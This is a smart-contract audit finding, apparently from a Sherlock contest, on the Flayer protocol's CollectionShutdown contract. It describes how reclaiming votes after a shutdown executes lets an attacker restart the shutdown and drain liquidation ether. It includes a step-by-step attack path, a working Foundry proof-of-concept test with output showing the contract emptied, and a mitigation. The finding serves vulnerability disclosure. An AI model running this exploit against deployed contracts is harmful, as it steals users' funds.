Warm Daisy Tiger

High

# Liquidation shares will be drained by re-starting a shutdown

### Summary

Incorrect check in function `CollectionShutdown#start()` will cause an attacker to re-start a shutdown for an executed shutdown to drain ether from the contract

### Root Cause

- The function `CollectionShutdown#start()` checks if a shutdown is [already started by checking `shutdownVotes != 0`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L141). 
- Meanwhile, the function `CollectionShutdown#reclaimVote()` allows users to [reclaim votes even if shutdown is already executed](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L360), because [`canExecute` is set to `false` in the end of function `CollectionShutdown#execute()`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L273)
- By the above points, an attacker can reclaim all votes from an executed shutdown (if he has enough control) and then re-create collection token and re-create shutdown with a very low quorum. After that, the attacker can claim a large amount of fund by increasing his new collection token

### Internal pre-conditions

1. Attacker calls `Locker#createCollection()`
2. Attacker calls `CollectionShutdown#start()`
3. Shutdown vote quorum passes
4. Owner calls `execute()` for the collection attacker created
5. There are liquidation shares from other shutdowns different from the one attacker created

### External pre-conditions

1. The attacker collection's NFTs listed on Sudoswap are liquidated

### Attack Path

1. Attacker calls `Locker#createCollection(...<collection A>...)`
2. Attacker calls `CollectionShutdown#start(<collection A>)`
3. Owner calls `CollectionShutdown#execute(...<collection A>...)` for the collection attacker created
4. Attacker calls `CollectionShutdown#reclaimVote()`
5. Attacker calls `Locker#createCollection(...<collection A>...)` again
6. Attacker calls `CollectionShutdown#start(<collection A>)` again => New quorum is set
7. Attacker calls `Locker#deposit(...<collection A>...)` to increase his CT balance
8. Attacker liquidates NFTs listed on Sudoswap, which done in step 3
9. Attacker calls `CollectionShutdown#voteAndClaim(<collection A>)`

### Impact

- Attacker can steal all liquidation fund in the contract
- Fund stolen by attacker will be under his [controlled values `params.availableClaim`, `userVotes`, and `params.quorumVotes`](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/flayer/src/contracts/utils/CollectionShutdown.sol#L343)

### PoC

Add the test below to test file `CollectionShutdown.t.sol`
```solidity
    function test_drain_liquidation_share() public { 
        // assume (this) is attacker

        // assume attacker has NFT and minted collection token
        vm.startPrank(address(locker));
        collectionToken.mint(address(this), 2 ether);
        vm.stopPrank();


        // start shutdown first time
        collectionToken.approve(address(collectionShutdown), type(uint256).max);
        collectionShutdown.start(address(erc721b));

        assertCanExecute(address(erc721b), true); // executable

        // Mint NFTs into our collection {Locker} and process the execution
        uint[] memory tokenIds = _mintTokensIntoCollection(erc721b, 3);

        // Owner execute shutdown
        collectionShutdown.execute(address(erc721b), tokenIds);

        // attacker reclaim vote
        collectionShutdown.reclaimVote(address(erc721b));

        // assume that attacker has NFTs
        erc721b.mint(address(this), 123);

        // attacker re-creates collection
        address ct = locker.createCollection(address(erc721b), "A", "A", 0);
        
        // deposit NFT to receive Collection token
        erc721b.setApprovalForAll(address(locker), true);
        locker.deposit(address(erc721b), _tokenIdToArray(123));


        // attacker re-starts a new shutdown
        ICollectionToken(ct).approve(address(collectionShutdown), type(uint256).max);
        collectionShutdown.start(address(erc721b));

        // assume that attacker has other NFTs
        uint[] memory ids = new uint[](6);
        for(uint i = 200; i < 206; ++i){
          erc721b.mint(address(this), i);
          ids[i - 200] = i;
        }
        
        // continue depositing to receive more Collection token
        locker.deposit(address(erc721b), ids);

        // NFTs liquidated
        _mockSudoswapLiquidation(SUDOSWAP_POOL, tokenIds, 2 ether); // availableClaim = 2 ether

        // assume that there are other liquidation shares from other collection shutdowns,
        // which is still held by the contract
        address(collectionShutdown).call{value: 10 ether}('');


        // call voteAndClaim to drain
        uint balanceBefore = address(collectionShutdown).balance;
        collectionShutdown.voteAndClaim(address(erc721b)); // balance = 6 * quorumVotes ====> steal 12 ether
        uint balanceAfter = address(collectionShutdown).balance;        

        console.log("CollectionShutdown balance before %s", balanceBefore);
        console.log("CollectionShutdown balance after %s", balanceAfter);
    }
```

Run the test and console shows
```bash
Ran 1 test for test/utils/CollectionShutdown.t.sol:CollectionShutdownTest
[PASS] test_drain_liquidation_share() (gas: 2519196)
Logs:
  CollectionShutdown balance before 12000000000000000000
  CollectionShutdown balance after 0
```

Note that values are set simple to demonstrate the attack

### Mitigation

- Add check for `require(param.sweeperPool == address(0))` in function `start()`